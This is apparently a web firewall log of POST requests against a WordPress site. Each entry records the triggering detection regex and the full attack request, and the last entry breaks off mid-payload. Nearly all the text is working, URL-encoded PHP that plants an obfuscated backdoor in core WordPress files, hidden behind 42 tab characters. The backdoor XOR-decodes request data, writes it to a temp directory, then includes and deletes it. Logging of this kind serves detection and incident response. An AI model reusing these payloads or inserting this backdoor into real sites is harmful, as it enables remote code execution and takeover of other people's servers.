["2026-05-12 11:54:00","192.185.131.136","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-user:?1\ncontent-length:4315\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nEL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:54:13","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:4338\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 11:54:26","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-user:?1\ncontent-length:4315\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nHu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61%255Cx6D%255Cx65%255Cx74%255Cx65r_%255Cx67r%255Cx6Fup%2522%255D%2529%253B%2520%2524element%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524element%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524f%255D%2529%2520%255E%252025%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524data_chunk%2529%2529%253B%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524desc%2520%253D%2520count%2528%2524entry%2529%253B%2520%2524ent%2520%253C%2520%2524desc%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524entry%255B%2524ent%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524ref%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524ref%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528file_put_contents%2528%2524descriptor%252C%2520%2524element%2529%2529%2520%257B%2520include%2520%2524descriptor%253B%2520%2540unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:54:36","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ds:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520